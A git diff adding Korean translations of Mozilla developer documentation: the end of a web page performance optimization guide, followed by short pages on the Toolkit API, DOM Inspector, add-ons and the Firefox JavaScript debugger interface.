+<p>각각의 도메인은 DNS 검색에 시간을 소비하기 때문에, CSS와 JavaScript 및 이미지를 참조하는데 사용되는 도메인 수를 줄이면 페이지를 불러오는 시간이 단축됩니다.</p>
+<p>이것이 항상 실현가능한 것이 아닐지라도, 가능한한 최소한의 도메인을 사용하도록 주의해야 합니다.</p>
+<h4 id=".EC.9E.AC.EC.82.AC.EC.9A.A9.EB.90.98.EB.8A.94_.EB.82.B4.EC.9A.A9.EC.9D.84_.EC.BA.90.EC.8B.9C.ED.95.98.EB.9D.BC" name=".EC.9E.AC.EC.82.AC.EC.9A.A9.EB.90.98.EB.8A.94_.EB.82.B4.EC.9A.A9.EC.9D.84_.EC.BA.90.EC.8B.9C.ED.95.98.EB.9D.BC"><strong>재사용되는 내용을 캐시하라</strong></h4>
+<p>캐시가능한 내용이 적절한 만료시간으로 캐시되었는지 확인해야 합니다.</p>
+<p>특히 <code>Last-Modified</code> 헤더에 신경써야 합니다. 이것은 페이지의 효율적인 캐싱을 가능케 합니다. 이것에 의해 브라우저가 읽어들이고자 하는 파일이 마지막으로 변경된 시간에 대한 정보가 전달됩니다. 정적인 페이지(예를 들면, &lt;tt&gt;.html&lt;/tt&gt;, &lt;tt&gt;.css&lt;/tt&gt;)는 대부분의 웹 서버가 파일 시스템에 저장된 마지막 변경시간을 토대로 자동적으로 <code>Last-Modified</code> 헤더를 추가합니다. 동적인 페이지(예를 들면, &lt;tt&gt;.php&lt;/tt&gt;, &lt;tt&gt;.aspx&lt;/tt&gt;)는 물론 불가능합니다.</p>
+<p>그러므로, 특히 동적으로 생성되는 페이지들에 대한 이 부분의 연구가 중요합니다. 이것은 조금 복잡하지만, 정상적으로 캐시 불가능한 페이지들에 대한 페이지 요청을 대폭 줄일 수 있게 합니다.</p>
+<p>추가 정보:</p>
+<ol>
+ <li><a class="external" href="http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers">RSS 해커들을 위한 HTTP 조건부 GET</a></li>
+ <li><a class="external" href="http://annevankesteren.nl/archives/2005/05/http-304">HTTP 304: Not Modified</a></li>
+ <li><a class="external" href="http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html">On HTTP Last-Modified and ETag</a></li>
+</ol>
+<h4 id=".ED.8E.98.EC.9D.B4.EC.A7.80_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8.EC.9D.98_.EC.88.9C.EC.84.9C.EB.A5.BC_.EC.B5.9C.EC.A0.81.ED.99.94" name=".ED.8E.98.EC.9D.B4.EC.A7.80_.EC.BB.B4.ED.8F.AC.EB.84.8C.ED.8A.B8.EC.9D.98_.EC.88.9C.EC.84.9C.EB.A5.BC_.EC.B5.9C.EC.A0.81.ED.99.94"><strong>페이지 컴포넌트의 순서를 최적화</strong></h4>
+<p>사용자가 페이지를 읽어들일 때 페이지의 내용 요소를 가장 먼저 다운로드하면 가장 빠른 응답시간을 얻을 수 있습니다.</p>
+<p>페이지의 내용 요소는 페이지의 표시를 위해 필요한 모든 CSS 및 JavaScript와 함께 가장 먼저 다운로드되어야 합니다. 이러한 내용 요소들은 일반적으로 텍스트로 되어 있고 모뎀상에서 텍스트 압축효과를 얻을 수 있기에 사용자에게 가장 빠른 응답 시간을 제공합니다.</p>
+<p>페이지를 모두 읽어들인 후에야 사용가능한 모든 DHTML 기능들은 초기에는 사용하지 못하게 설정되어 있어야 하며 페이지 불러오기가 끝난 후에만 사용가능해야 합니다. 이것은 페이지의 내용 요소를 먼저 읽어들인 다음에 DHTML JavaScript를 읽어들이게 하여 전체적인 페이지 불러오기 성능을 향상시킵니다.</p>
+<h4 id="inline_script_.EC.88.98.EB.A5.BC_.EC.B5.9C.EC.86.8C.ED.99.94" name="inline_script_.EC.88.98.EB.A5.BC_.EC.B5.9C.EC.86.8C.ED.99.94"><strong>inline script 수를 최소화</strong></h4>
+<p>inline script는 페이지 구조를 바꿀 수 있다는 것을 파서가 가정해야 하므로 페이지 불러오기에 비용이 많이 들 수 있다. 일반적으로 inline script 사용을 줄이고 내용을 출력하기 위해 <code>document.write()</code>의 사용을 줄여 전체페이지의 불러오는 시간을 향상시킬 수 있다. <code>document.write()</code>에 기반한 오래된 방식 대신 현대의 W3C DOM방법을 사용하여 페이지 내용을 다루라.</p>
+<h4 id=".EC.B5.9C.EC.8B.A0_CSS.EC.99.80_.EC.98.AC.EB.B0.94.EB.A5.B8_markup.EC.9D.84_.EC.82.AC.EC.9A.A9.ED.95.98.EB.9D.BC" name=".EC.B5.9C.EC.8B.A0_CSS.EC.99.80_.EC.98.AC.EB.B0.94.EB.A5.B8_markup.EC.9D.84_.EC.82.AC.EC.9A.A9.ED.95.98.EB.9D.BC"><strong>최신 CSS와 올바른 markup을 사용하라</strong></h4>
+<p>최신 CSS는 markup의 양을 줄여주며, 레이아웃 측면에서 그림의 사용을 줄여줍니다. 또한 다양한 방법으로 텍스트를 나타내는 그림의 사용을 줄여줍니다. 텍스트를 나타내는 그림을 사용하면 텍스트와 CSS를 사용할 때보다 부하가 큽니다.</p>
+<p>올바른 markup을 사용하는 것에는 추가적인 장점이 있습니다. 브라우저가 HTML을 처리할 때 "오류 정정"을 하지 않아도 될 뿐만 아니라, 웹 페이지를
+ <i>
+  전처리(pre-process)</i>
+ 할 수 있는 다른 도구들을 마음대로 사용할 수 있습니다. 예를 들면, <a class="external" href="http://tidy.sourceforge.net/">HTML Tidy</a>는 웹 페이지상의 공백과 불필요한 종료 태그들을 삭제해 줍니다. 그러나 웹 페이지에 심각한 markup 오류가 있다면 이 도구는 사용할 수 없습니다.</p>
+<h4 id=".EB.82.B4.EC.9A.A9.EC.9D.84_.EC.A1.B0.EA.B0.81.EB.82.B4.EB.9D.BC" name=".EB.82.B4.EC.9A.A9.EC.9D.84_.EC.A1.B0.EA.B0.81.EB.82.B4.EB.9D.BC"><strong>내용을 조각내라</strong></h4>
+<p>table기반의 레이아웃을 <code>&lt;div&gt;</code>를 쓰거나 table을 작은 table로 나누면 전체 페이지 내용을 내려받지 않고 표시할 수 있다.</p>
+<p>아래와 같이 깊게 중첩된 table 대신</p>
+<div class="geckoVersionNote">
+ <pre>&lt;TABLE&gt;
+  &lt;TABLE&gt;
+    &lt;TABLE&gt;
+          ...
+    &lt;/TABLE&gt;
+  &lt;/TABLE&gt;
+&lt;/TABLE&gt;</pre>
+</div>
+<p>중첩되지 않은 table 또는 div를 쓰라</p>
+<pre>&lt;TABLE&gt;...&lt;/TABLE&gt;
+&lt;TABLE&gt;...&lt;/TABLE&gt;
+&lt;TABLE&gt;...&lt;/TABLE&gt;</pre>
+<h4 id=".EA.B7.B8.EB.A6.BC.EA.B3.BC_.ED.91.9C.EC.9D.98_.ED.81.AC.EA.B8.B0.EB.A5.BC_.EB.AA.85.EC.8B.9C.ED.95.98.EB.9D.BC" name=".EA.B7.B8.EB.A6.BC.EA.B3.BC_.ED.91.9C.EC.9D.98_.ED.81.AC.EA.B8.B0.EB.A5.BC_.EB.AA.85.EC.8B.9C.ED.95.98.EB.9D.BC"><strong>그림과 표의 크기를 명시하라</strong></h4>
+<p>브라우저가 그림과 표의 크기를 바로 알아낼 수 있다면, 내용을 바꾸지 않고도 웹 페이지를 표시하는게 가능합니다. 이것은 페이지를 표시하는 속도를 빠르게 할 뿐만 아니라 페이지 불러오기가 끝났을 때 페이지의 배치가 바뀌는 것을 막아줍니다. 그런 이유로, 가능하면 <span style="line-height: 1.5;">그림의 </span><code style="font-style: normal; line-height: 1.5;">height</code><span style="line-height: 1.5;">와 </span><code style="font-style: normal; line-height: 1.5;">width</code><span style="line-height: 1.5;">가 명시되어야 합니다.</span></p>
+<p>표는 CSS 선택자:속성 조합이다.</p>
+<div class="geckoVersionNote">
+ <p><code style="font-style: normal; line-height: 1.5;">table-layout: fixed;</code></p>
+</div>
+<p><span style="line-height: 1.5;">그리고 </span><code style="font-style: normal; line-height: 1.5;">COL</code><span style="line-height: 1.5;">과 </span><code style="font-style: normal; line-height: 1.5;">COLGROUP</code><span style="line-height: 1.5;"> 태그를 사용하여 열(column)의 넓이를 명시해야 합니다.</span></p>
+<h4 id=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.97.90.EC.9D.B4.EC.A0.84.ED.8A.B8.EC.9D.98_.EC.9A.94.EA.B5.AC.EC.82.AC.ED.95.AD.EC.9D.84_.EC.A0.81.EC.A0.88.ED.95.98.EA.B2.8C_.EC.84.A0.ED.83.9D.ED.95.98.EB.9D.BC" name=".EC.82.AC.EC.9A.A9.EC.9E.90_.EC.97.90.EC.9D.B4.EC.A0.84.ED.8A.B8.EC.9D.98_.EC.9A.94.EA.B5.AC.EC.82.AC.ED.95.AD.EC.9D.84_.EC.A0.81.EC.A0.88.ED.95.98.EA.B2.8C_.EC.84.A0.ED.83.9D.ED.95.98.EB.9D.BC"><strong>사용자 에이전트의 요구사항을 적절하게 선택하라</strong></h4>
+<p>웹 페이지의 디자인 향상을 위해서는 사용자 에이전트의 요구사항을 적절하게 선택해야 합니다. 모든 브라우저, 특히 저사양의 브라우저에서까지 웹 페이지의 내용이 픽셀 하나하나까지 완벽하게 표현되기를 원하지는 않습니까?</p>
+<p>이상적으로, 기본적인 최소 요구사항은 관련된 표준을 지원하는 현대적인 브라우저를 기준으로 해야 합니다. 이것은 모든 플랫폼 상의 Netscape 7/Gecko 1.0.2+, Windows의 Internet Explorer 5.5+, Windows의 Opera 7+, Mac OS X의 Safari에 해당합니다.</p>
+<p>그러나 여기에 나와있는 대부분의 팁들은 사용자 에이전트 요구사항과 관계 없이 모든 사용자 에이전트와 웹 페이지에 해당하는 일반적인 내용임을 알아두시기 바랍니다.</p>
+<h3 id=".ED.8E.98.EC.9D.B4.EC.A7.80_.EA.B5.AC.EC.A1.B0_.EC.98.88" name=".ED.8E.98.EC.9D.B4.EC.A7.80_.EA.B5.AC.EC.A1.B0_.EC.98.88">페이지 구조 예</h3>
+<p>· <code>HTML</code></p>
+<dl>
+ <dd>
+  · <code>HEAD</code></dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    · <code>LINK </code>...<br>
+    페이지의 표시를 위해 CSS 파일이 필요하다. 유지보수를 위해 관련되지 않은 CSS 파일을 분리하고 성능을 위해 파일 수를 최소화하라.</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    · <code>SCRIPT </code>...<br>
+    JavaScript 파일은 페이지를 불러들일 때 필요하지만 DHTML은 페이지 불러오기가 끝난 후에만 동작합니다.</dd>
+   <dd>
+    유지보수를 위해 관련되지 않은 JavaScript를 별도의 파일로 분리하고 성능을 위해 파일 수를 최소화하세요.</dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  · <code>BODY</code></dd>
+ <dd>
+  · 페이지 내용을 가시적인 작은 덩어리(tables / divs)로 나누면 전체 페이지를 모두 다운로드 하지 않고도 내용을 표시할 수 있습니다.</dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    · <code>SCRIPT </code>...<br>
+    DHTML을 위해 어떠한 스크립트라도 사용될 수 있습니다. 일반적으로 DHTML 스크립트는 페이지 불러오기가 완전히 끝나고 필요한 객체들이 모두 초기화된 후에만 동작합니다. 따라서 페이지 내용을 불러오기 전에 이러한 스크립트들을 먼저 읽어들일 필요가 없습니다. 오직 페이지 로딩시간을 증가시킬 뿐입니다.</dd>
+   <dd>
+    유지보수를 위해 관련되지 않은 JavaScript를 별도의 파일로 분리하고 성능을 위해 파일 수를 최소화하세요.</dd>
+   <dd>
+    만약 롤오버 효과를 위해 사용되는 그림이 있다면, 페이지 내용을 읽어들인 후에 그 그림을 미리 읽어들여야 합니다.</dd>
+  </dl>
+ </dd>
+</dl>
+<h3 id=".EA.B4.80.EB.A0.A8_.EB.A7.81.ED.81.AC" name=".EA.B4.80.EB.A0.A8_.EB.A7.81.ED.81.AC">관련 링크</h3>
+<ul>
+ <li>책: <a class="external" href="http://www.websiteoptimization.com/">"Speed Up Your Site" by Andy King</a></li>
+ <li><a class="external" href="http://webmonkey.wired.com/webmonkey/design/site_building/tutorials/tutorial2.html">Site Optimization Tutorial</a> (WebMonkey)</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id=".EC.9B.90.EB.AC.B8_.EC.A0.95.EB.B3.B4" name=".EC.9B.90.EB.AC.B8_.EC.A0.95.EB.B3.B4">원문 정보</h3>
+ <ul>
+  <li>저자: Bob Clary, Technology Evangelist, Netscape Communications</li>
+  <li>최종 갱신일: Published 04 Apr 2003</li>
+  <li>저작권 정보: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+  <li>알림: 이 문서는 본래 DevEdge 사이트의 일부분이었습니다.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/ko/toolkit_api/index.html b/files/ko/toolkit_api/index.html
new file mode 100644
index 0000000000..f17e615ab8
--- /dev/null
+++ b/files/ko/toolkit_api/index.html
@@ -0,0 +1,33 @@
+---
+title: Toolkit API
+slug: Toolkit_API
+tags:
+  - Toolkit API
+translation_of: Mozilla/Tech/Toolkit_API
+---
+<p><b>모질라 툴킷</b>은 <a href="ko/Gecko">Gecko</a>의 상위부분에서 빌드된 프로그래밍 인터페이스 집합체(짧게 API)입니다.
+</p><p><b>모질라 툴킷</b>은 XUL 응용프로그램에서 아래 열거된 서비스를 제공합니다.
+</p>
+<ul><li> 프로파일 관리
+</li><li> 크롬 등록
+</li><li> 히스토리 탐색
+</li><li> 테마와 확장기능 관리
+</li><li> 응용프로그램 업데이트 서비스
+</li><li> 안전모드
+</li></ul>
+<h3 id="공식_문서"> 공식 문서 </h3>
+<p></p><p>
+  </p><ul>
+    <li><a href="/ko/Bundles" title="ko/Bundles">설치 가능한 번들</a>: 설치 가능한 번들(확장 기능, 테마, XULRunner 어플리케이션 등)에 대하여 기술하고 있습니다.</li>
+    <li><a href="/ko/Extension_Packaging" title="ko/Extension_Packaging">확장기능 포장</a>: 확장 기능을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/Theme_Packaging" title="ko/Theme_Packaging">테마 포장</a>: 테마 기능을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/Ko/Multiple_Item_Packaging" title="Ko/Multiple_Item_Packaging">여러 항목을 포함한 XPI 포장</a>: 여러 항목들이 포함되는 XPI 를 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/XUL_Application_Packaging" title="ko/XUL_Application_Packaging">XUL 응용프로그램 포장</a>: XULRunner 응용프로그램을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/Chrome_Registration" title="ko/Chrome_Registration">Chrome 등록</a>: Chrome의 등록하는 방법에 대한 정보를 제공합니다.</li>
+  </ul>
+<p></p>
+<p></p>
+<h3 id="정보_더_얻어내기"> 정보 더 얻어내기 </h3>
+<p>아래의 개발자들의 홈페이지에는 여러 예제들과 특정 주제에 관한 토론이 올려져있습니다.
+</p><p><a href="ko/XUL">XUL</a>; <a href="ko/XUL_Overlays">XUL Overlays</a>; <a href="ko/Extensions">Developing Extensions</a>; <a href="ko/XULRunner">XULRunner</a>; <a href="ko/Themes">Developing Themes</a>; <a href="ko/DOM">DOM</a>; <a href="ko/RDF">RDF</a>; <a href="ko/Storage">Storage</a>; <a href="ko/Help_Viewer">Creating Help Documentation</a>
+</p>
diff --git a/files/ko/tools/add-ons/dom_inspector/index.html b/files/ko/tools/add-ons/dom_inspector/index.html
new file mode 100644
index 0000000000..d84e82b45e
--- /dev/null
+++ b/files/ko/tools/add-ons/dom_inspector/index.html
@@ -0,0 +1,16 @@
+---
+title: DOM Inspector
+slug: Tools/Add-ons/DOM_Inspector
+tags:
+  - 'DOM:Tools'
+  - 'Extensions:Tools'
+  - 'Themes:Tools'
+  - 'Web Development:Tools'
+  - 'XUL:Tools'
+translation_of: Tools/Add-ons/DOM_Inspector
+---
+<div>{{ToolsSidebar}}</div><p><strong>DOMi</strong>로도 알려진 <strong><a class="external" href="http://www.mozilla.org/projects/inspector/">DOM Inspector</a></strong>는 문서 - 보통 웹 페이지 또는 <a href="ko/XUL">XUL</a> windows - 의 <a href="ko/DOM">Document Object Model</a>을 검증, 검색, 편집하는데 사용되는 Mozilla 도구입니다.</p>
+
+<p>DOMi에 대한 더 많은 정보를 위해서는 <a class="external" href="http://kb.mozillazine.org/DOM_Inspector">DOM Inspector page at MozillaZine</a>를 보십시오.</p>
+
+<p>{{ languages( { "en": "en/DOM_Inspector" } ) }}</p>
diff --git a/files/ko/tools/add-ons/index.html b/files/ko/tools/add-ons/index.html
new file mode 100644
index 0000000000..24ffbe79e9
--- /dev/null
+++ b/files/ko/tools/add-ons/index.html
@@ -0,0 +1,17 @@
+---
+title: Add-ons
+slug: Tools/Add-ons
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - Web Development
+  - 'Web Development:Tools'
+translation_of: Tools/Add-ons
+---
+<div>{{ToolsSidebar}}</div><p>Developer tools that are not built into Firefox, but ship as separate add-ons.</p>
+
+<dl>
+ <dt><a href="https://addons.mozilla.org/en-US/firefox/addon/websocket-monitor/">WebSocket Monitor</a></dt>
+ <dd>Examine the data exchanged in a WebSocket connection.</dd>
+ <dd> </dd>
+</dl>
diff --git a/files/ko/tools/debugger/index.html b/files/ko/tools/debugger/index.html
new file mode 100644
index 0000000000..9f5cb7c25c
--- /dev/null
+++ b/files/ko/tools/debugger/index.html
@@ -0,0 +1,85 @@
+---
+title: 디버거
+slug: Tools/Debugger
+translation_of: Tools/Debugger
+---
+<div>{{ToolsSidebar}}</div><p>자바스크립트 디버거는 당신이 자바스크립트 코드를 단계별로 통과하는 것을 가능하게 하고 코드의 버그들을 찾는 것을 돕기 위해 상태를 검사 하거나 수정할 수 있도록 해줍니다.</p>
+
+<p>파이어폭스에서 코드를 디버그 하기 위해 지역적으로 혹은 원격으로 디버거를 사용할 수 있습니다. 예를 들어, 파이어폭스 OS 장치 혹은 안드로이드용 파이어폭스를 원격으로 디버깅 할 수 있습니다. <a href="/ko/docs/Tools/Remote_Debugging">원격 디버깅 </a>을 확인해보면 원격 타겟에 디버거를 연결하는 방법을 배울 수 있습니다.</p>
+
+<p>{{EmbedYouTube("sK8KU8oiF8s")}}</p>
+
+<hr>
+<h2 id="사용자_인터페이스_투어">사용자 인터페이스 투어</h2>
+
+<p>디버거에 대해서 알아보려면, <a href="/ko/docs/Tools/Debugger/UI_Tour">UI 퀵 투어</a> 를 통해 알 수 있습니다.</p>
+
+<hr>
+<h2 id="방법">방법</h2>
+
+<p><span class="short_text" id="result_box" lang="ko"><span>디버거를 사용하여 수행 할 수있는 작업을 확인하려면 다음 사용 설명서를 참조하십시오</span></span> :</p>
+
+<p> </p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Open_the_debugger">디버거 열기</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Set_a_breakpoint">중단점 설정</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Disable_breakpoints">중단점 비활성화</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Step_through_code">단계별 코드 수행</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Break_on_a_DOM_event">DOM 이벤트에 브레이크</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Highlight_and_inspect_DOM_nodes">DOM 노드들에 표시하고 조사</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Pretty-print_a_minified_file">간소화(Minified)된 파일 예쁘게 출력</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Search">검색과 필터</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">조건부 중단점 설정</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Examine,_modify,_and_watch_variables">검사, 수정, 그리고 변수들 관찰</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Use_a_source_map">소스맵 사용</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Black_box_a_source">특정 소스에 대해 블랙박스화 하기</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Debug_eval_sources">eval 소스코드 디버그</a></dt>
+ <dd> </dd>
+ <dt><a href="/ko/docs/Tools/Debugger/How_to/Access_debugging_in_add-ons">에드온에서 디버깅 접근</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
+
+<hr>
+<h2 id="참조">참조</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Debugger/Keyboard_shortcuts">키보드 단축키</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/ko/docs/Tools/Debugger/Settings">설정</a></dt>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ko/tools/debugger/ui_tour/index.html b/files/ko/tools/debugger/ui_tour/index.html
new file mode 100644
index 0000000000..8f6af21ba1
--- /dev/null
+++ b/files/ko/tools/debugger/ui_tour/index.html
@@ -0,0 +1,98 @@
+---
+title: UI Tour
+slug: Tools/Debugger/UI_Tour
+translation_of: Tools/Debugger/UI_Tour
+---
+<div>{{ToolsSidebar}}</div><div class="note">
+<p><span id="result_box" lang="ko"><span>이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition에 나타나는 JavaScript 디버거에 대해 설명합니다.</span></span></p>
+
+<p>이전 버전의 Firefox 나 Firefox Beta 및 Release에서 어떤 모습인지 보려면, <a href="https://developer.mozilla.org/ko/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (before Firefox 52)</a>를 참조하세요.</p>
+
+<p><span id="result_box" lang="ko"><span>이 버전의 디버거를 가져와 이전 버전으로 다시 전환해야하는 경우 about:config를 url에 입력하여  "devtools.debugger.new-debugger-frontend"환경 설정을 </span></span><code>false</code><span lang="ko"><span>로 설정하여 수행 할 수 있습니다.</span></span></p>
+</div>
+
+<p>이 문서는 JavaScript 디버거의 사용자 인터페이스의 주요 섹션을 간략히 설명합니다. UI는 세로로 세 개의 패널로 나뉩니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Tools/Debugger/UI_Tour#소스_목록_창(Source_list_pane)">소스 목록 창(Source list pane)</a></li>
+ <li><a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스 창(Source pane)</a></li>
+ <li>세 번째 패널은 4개의 섹션으로 나뉩니다 :
+  <ul>
+   <li><a href="/ko/docs/Tools/Debugger/UI_Tour#툴바(Toolbar)">툴바(Toolbar)</a></li>
+   <li><a href="/ko/docs/Tools/Debugger/UI_Tour#중단점_목록(Breakpoint_list)">중단점 목록(Breakpoints list)</a></li>
+   <li><a href="/ko/docs/Tools/Debugger/UI_Tour#호출_스택(Call_stack)">호출 스택(Call stack)</a></li>
+   <li><a href="/ko/docs/Tools/Debugger/UI_Tour#범위(Scopes)">범위(Scopes)</a></li>
+  </ul>
+ </li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14977/debugger-screen-main-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
+
+<h2 id="소스_목록_창Source_list_pane">소스 목록 창(Source list pane)</h2>
+
+<p>소스 목록 창은 페이지에 로드 된 모든 JavaScript 소스 파일을 나열하고 디버깅 할 소스 파일을 선택할 수 있게 합니다. 최상위 레벨 소스는 원점별로 구성되며, 그 아래에서 소스가 제공되는 디렉토리 구조에 따라 구성됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14975/debugger-source-list-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
+
+<p> <a href="/ko/docs/Tools/Debugger/How_to/Search#파일_찾기">파일을 찾기 위해서</a> <kbd>Ctrl</kbd> + <kbd>P</kbd> 단축키를 사용할 수 있습니다. (맥에서는 <kbd>Cmd</kbd> + <kbd>P</kbd>).</p>
+
+<h2 id="소스_창Source_pane">소스 창(Source pane)</h2>
+
+<p>현재 로드 된 JavaScript 파일을 표시합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14973/debugger-source-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;">소스 창에 초점이 맞춰지면 <kbd>Ctrl</kbd> + <kbd>F</kbd>를 사용해서 <a href="/ko/docs/Tools/Debugger/How_to/Search#파일_내에서_찾기">파일에서 문자열을 검색할 수 있습니다.</a>  (맥에서는 <kbd>Cmd</kbd> + <kbd>F</kbd> ).</p>
+
+<p><a href="/ko/docs/Tools/Debugger/How_to/Set_a_breakpoint">중단점에는</a> 라인번호에 파란색 화살표가 있습니다. <a href="/ko/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">조건부 중단점에서는</a> 주황색 화살표가 있습니다. 중단점에서 멈추는 경우, 해당 라인은 초록색이 됩니다. 스크린샷에서 세가지 중단점을 확인할 수 있습니다 :</p>
+
+<ul>
+ <li>line 19 일반적인 중단점입니다.</li>
+ <li>line 40 일반적인 중단점이며, 디버거가 일시정지된 부분입니다.</li>
+ <li>line 22 조건부 중단점입니다.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14981/debugger-main-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
+
+<h2 id="툴바Toolbar"><a name="toolbar">툴바(Toolbar)</a></h2>
+
+<p>툴바는 오른쪽 상단에 있습니다 :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14971/debugger-toolbar-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
+
+<p>툴바는 다음과 같이 구성되어 있습니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Tools/Debugger/How_to/Step_through_code">스크립트를 통해 디버거를 제어하는 </a>네 개의 버튼입니다<a href="/en-US/docs/Tools/Debugger/How_to/Step_through_code"> </a>:
+
+  <ul>
+   <li><strong>계속(Play)/정지(pause</strong>) (F8): 디버깅 중인 스크립트를 중지시키거나 다시 시작합니다. '계속'아이콘이 표시되면 일시중지인 상태이거나 중단점에서 멈춘 경우입니다.</li>
+   <li><strong>다음줄 실행(Step over)</strong> (F10): 현재의 Javascript 코드의 행을 넘어갑니다..</li>
+   <li><strong>함수 안으로(Step in)</strong> (F11):  현재의 JavaScript 코드의 행에서 함수를 실행합니다.</li>
+   <li><strong>함수 밖으로(Step out)</strong> (Shift-F11): 현재의 함수가 종료될 때까지 스크립트를 실행합니다.</li>
+  </ul>
+ </li>
+ <li><strong>예외 무시(Ignore exceptions)</strong>버튼은 세 가지 기능으로 사용할 수 있습니다. <a href="/ko/docs/Tools/Debugger/How_to/Breaking_on_exceptions">(1) 예외를 무시합니다, (2) 잡히지 않은 예외에서 멈춥니다, 혹은 (3) 모든 예외에서 멈춥니다.</a></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14979/debugger-toolbar-zoom-2.png" style="display: block; height: 231px; margin-left: auto; margin-right: auto; width: 536px;"></p>
+
+<h2 id="중단점_목록Breakpoint_list">중단점 목록(Breakpoint list)</h2>
+
+<p>툴바 아래에 설정한 모든 중단점을 볼 수 있습니다. 각 중단점을 체크박스를 선택하여 <a href="/ko/docs/Tools/Debugger/How_to/Disable_breakpoints">활성화/비활성화</a>를 할 수 있습니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14969/debugger-breakpoints-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;"></p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="호출_스택Call_stack">호출 스택(Call stack)</h2>
+
+<p>디버거가 일시 중지되면 호출 스택이 표시됩니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14967/debugger-call-stack-2.png" style="display: block; height: 1138px; margin-left: auto; margin-right: auto; width: 1113px;">호출 스택의 각 레벨에는 함수 이름과 파일 이름 및 줄 번호가 있습니다. 호출스택 목록를 클릭하면 소스 창(source pane)에서 해당 소스가 열립니다.</p>
+
+<h2 id="범위Scopes">범위(Scopes)</h2>
+
+<p>오른쪽 창에 옆에 공개 화살표가있는 레이블 "범위"가 표시됩니다. 디버거가 일시 중지되면이 섹션을 확장하여 프로그램의이 시점에서 범위에있는 모든 개체를 볼 수 있습니다.:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14965/debugger-scopes-2.png" style="display: block; height: 758px; margin-left: auto; margin-right: auto; width: 1113px;">객체는 범위별로 구성됩니다. 가장 많은 부분이 먼저 나타나고 전역 범위 (Window, 페이지 스크립트인 경우)가 마지막에 나타납니다.</p>
diff --git a/files/ko/tools/debugger/단축키/index.html b/files/ko/tools/debugger/단축키/index.html
new file mode 100644
index 0000000000..d213621412
--- /dev/null
+++ b/files/ko/tools/debugger/단축키/index.html
@@ -0,0 +1,10 @@
+---
+title: 디버거 단축키
+slug: Tools/Debugger/단축키
+translation_of: Tools/Debugger/Keyboard_shortcuts
+---
+<div>{{ToolsSidebar}}</div><p>{{ Page ("ko/docs/tools/Keyboard_shortcuts", "debugger") }}</p>
+
+<h2 id="공통_단축키">공통 단축키</h2>
+
+<p>{{ Page ("ko/docs/tools/Keyboard_shortcuts", "all-toolbox-tools") }}</p>
